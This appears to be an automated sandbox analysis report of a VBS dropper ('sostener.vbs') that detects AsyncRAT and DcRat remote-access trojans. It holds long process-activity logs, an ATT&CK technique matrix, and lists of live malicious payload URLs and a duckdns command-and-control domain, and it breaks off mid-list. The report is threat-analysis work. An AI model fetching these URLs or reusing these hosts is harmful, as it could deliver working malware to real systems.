Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Yara detected AsyncRAT

Source: Yara match	File source: 26.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb40780.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.powershell.exe.1c03cb43b98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c7c80.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.powershell.exe.155c41c4868.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b1d88.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.240c11b51a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 6644, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7896, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7728, type: MEMORYSTR

Source: powershell.exe, 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MSASCui.exe
Source: powershell.exe, 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: procexp.exe
Source: powershell.exe, 00000004.00000002.2090885360.00000155C41C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C11A1000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000001A.00000002.2331186217.0000000000402000.00000040.00000400.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CB30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected DcRat

Source: Yara match

File source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR

Remote Access Functionality

Yara detected DcRat

Source: Yara match

File source: Process Memory Space: RegSvcs.exe PID: 3872, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	321 Scripting	Valid Accounts	1 Windows Management Instrumentation	321 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	211 Process Injection	121 Obfuscated Files or Information	LSASS Memory	13 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	1 Scheduled Task/Job	1 Scheduled Task/Job	2 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Command and Scripting Interpreter	21 Registry Run Keys / Startup Folder	21 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	3 PowerShell	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sostener.vbs	13%	ReversingLabs	Win32.Trojan.Honolulu

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe
http://91.202.233.1692	0%	Avira URL Cloud	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	Avira URL Cloud	safe
http://91.202.233.169/Tak/Reg/Marz/Ex	0%	Avira URL Cloud	safe
http://r11.o.lencr.org0#	0%	Avira URL Cloud	safe
https://www.informacionoportuna.com/wp-content/uploads/2024/	100%	Avira URL Cloud	malware
http://crl.microsoft	0%	Avira URL Cloud	safe
http://informacionoportuna.com	0%	Avira URL Cloud	safe
https://www.informacionoportuna.com	0%	Avira URL Cloud	safe
https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt	100%	Avira URL Cloud	malware
http://www.apache.org/licenses/LICENSE-2.0	0%	Avira URL Cloud	safe
http://wicroft.com	0%	Avira URL Cloud	safe
https://www.informacionoportuna.com/wp-content/uploads/2024/09/dX	100%	Avira URL Cloud	malware
http://91.202.233.169	0%	Avira URL Cloud	safe
http://www.informacionoportuna.com	0%	Avira URL Cloud	safe
HTTP://91.202.233.169/TAK/REG/MARZ/ENVS/DS1.TXT	100%	Avira URL Cloud	malware
http://r11.i.lencr.org/0=	0%	Avira URL Cloud	safe
dcmxz.duckdns.org	100%	Avira URL Cloud	malware
https://www.informacionoportuna.com/wp-content/uploads/2024/09/pesky.txt	100%	Avira URL Cloud	malware
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://aka.ms/pscore6	0%	Avira URL Cloud	safe
http://91.202.HX	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
dcmxz.duckdns.org	45.135.232.38	true	true	unknown
informacionoportuna.com	15.235.85.194	true	true	unknown
www.informacionoportuna.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.informacionoportuna.com/wp-content/uploads/2024/09/dllskyfal.txt	true	Avira URL Cloud: malware	unknown
https://www.informacionoportuna.com/wp-content/uploads/2024/09/pesky.txt	false	Avira URL Cloud: malware	unknown
dcmxz.duckdns.org	true	Avira URL Cloud: malware	unknown
http://91.202.233.169/Tak/Reg/Marz/ENVS/DS1.txt	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://91.202.233.1692	powershell.exe, 00000004.00000002.2090885360.00000155C419D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.202.233.169/Tak/Reg/Marz/Ex	powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000004.00000002.2351244189.00000155D3D00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDD117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEBA14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEB8DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA3A64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95166000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA392E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355E2BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 